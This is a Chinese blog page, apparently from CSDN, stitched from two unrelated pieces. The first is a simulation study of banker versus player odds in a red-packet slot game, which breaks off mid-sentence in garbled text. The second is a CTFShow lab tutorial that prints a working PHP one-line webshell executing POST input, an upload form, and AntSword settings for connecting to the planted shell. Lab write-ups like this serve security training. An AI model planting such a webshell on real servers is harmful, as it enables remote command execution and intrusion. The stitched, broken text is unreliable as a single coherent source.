老虎机游戏策略探讨

过年在家无聊,有朋友发了一张图给我:
在这里插入图片描述
立即引起了我的兴趣,打算研究怎么玩该游戏才能有效在朋友之中胜出!

我把这个游戏的参与者分为玩家庄家,玩家需要支付2.99的红包才能开始游戏,如果达到上图满足条件,则庄家需向玩家支付一定金额的红包。

先算玩家中奖金额的期望:
在这里插入图片描述
玩家可以得到的期望金额为3.10元,高于所需支付的2.99元的成本,很明显这个游戏对于玩家来说血赚。但是从我自己参与和朋友反应的情况来看,好像庄家的赢面更大,所以我打算自己写程序来玩玩这个游戏,看看如何参与游戏才能获利。

我定义两个量词“”和“”来区分接下来要叙述的内容。一“把”游戏定义为玩家A和庄家进行游戏的数量为1,例如进行了100把游戏,就是指玩家A发了100个2.99的红包给庄家。一“次”游戏定义为一个玩家和庄家进行了游戏,例如进行了100次游戏,就是指有100个玩家分别和庄家进行了游戏。

首先我模拟一次游戏玩10把,共有1000个玩家参与了该游戏,并输出了第一个玩家的结果:
在这里插入图片描述
可以看出来庄家和玩家的胜率不相上下,庄家赢了516名玩家,胜率在50%-55%左右,我多次运行了该程序,发现结果相差并不大。

接下来模拟一次游戏玩100把,依然是1000个玩家参与游戏:
在这里插入图片描述
从结果看似乎庄家和玩家的胜率差不多,但我发现多次运行程序以后,庄家的胜率一直低于50%,与上图的庄家胜率总高于50%有一定区别。

然而胜率依旧不是很高,和计算的数学期望不太相符,于是模拟一次游戏进行10000把的情况,依旧有1000名玩家参与:
在这里插入图片描述
可以看到这次的胜率差距非常明显,庄家的胜率仅为2.4%,多次运行程序后的区别也并不大。

当游戏进行的把数越多时,玩家的胜率也越高,越符合数学期望的计算结果,可以想象当进行的游戏把数在这里插入图片描述
时,玩家的胜率达到100%。不过这显然是不符合现实的,我们玩这个游戏的把数可能最多也就100把,那么怎样才能提高我们的胜率呢?

接下来我又做了一次模拟:
在这里插入图片描述

横坐标表示游戏进行的“把”数,从1到10000把;纵坐标表示100次游戏中庄家能赢的次数,加上百分比符号%可直接理解为庄家的胜率。

可以明显的看到随着把数越多,庄家的胜率在逐步降低,2000把时庄家胜率已经不足30%,10000把时庄家胜率不足10%。但是在正常人所能参与的1-30把游戏里,似乎可以看到庄家胜率较高。为了更好地贴合实际,我决定对正常人参与的游戏进行模拟。
我模拟每次游戏分别进行1-100把,并针对每个“把”数模拟了10000次,并计算庄家胜出的次数,绘制如下:
在这里插入图片描述
横坐标表示一次游戏进行的把数,纵坐标表示10000次游戏里庄家赢钱的场数,可以明显的看出,“30把”为一个明显的分界线,30把以前庄家胜率高于50%,而30把以后庄家胜率低于50%,直至达到“100把”时,庄家胜率只有45%。比较有趣的是,当只进行“1把”或是“2把”游戏时,庄家胜率惊人的高。这对于我们的指导意义也很明显了,如果你下定决心只参与这个游戏1把或者2把,那么应该毫不动摇地选择做庄家,并见好就收,此时你获胜的概率非常大,但是如果你想继续玩下去,但又不超过30把,也应该选择做庄家,虽然胜率有所下降,但依然能以高于50%的概率获胜;如果你想以一个玩家的身份获胜,则是玩的把数越多越好,如果有耐心,最好玩10000把以上,胜率接近100%!
上述分析意味着正常人参与1-30把游戏做庄家能够获利更多。(当然由于该程序是随机生成数字ÿ

### CTFShow Web 入门 文件上传 蚁剑 (AntSword) 连接教程 #### 准备工作 为了成功完成文件上传并利用蚁剑建立连接,需先准备环境。确保已安装蚁剑客户端,并准备好用于测试的恶意PHP脚本。 #### PHP Shell Payload 创建 创建一个简单的PHP反向Shell脚本 `shell.php`: ```php <?php @eval($_POST['cmd']);?> ``` 此代码片段允许通过POST请求执行任意命令[^1]。 #### 文件上传过程 使用给定URL进行文件上传操作。假设目标地址为 `http://example.com/upload` ,则可构造如下表单数据提交至服务器: ```html <form action="http://example.com/upload" method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload File" name="submit"> </form> ``` 将之前编写的 `shell.php` 作为待上传文件选择并提交[^2]。 #### 验证上传成果 确认文件是否成功上载到远程服务器指定目录下。通常情况下,可以通过浏览器直接访问该路径来验证,例如:`http://example.com/uploads/shell.php` 。如果页面返回空白,则说明上传成功。 #### 使用蚁剑连接 启动蚁剑工具,在新建站点时输入相应的参数配置: - **网站根目录**: `/var/www/html/` - **WebShell URL**: 如前所述成功的PHP shell链接 - **密码**: 设置于PHP代码中的密钥 (`cmd`) 按照上述设置完成后点击“保存”,随后即可尝试与远端服务器建立会话连接[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值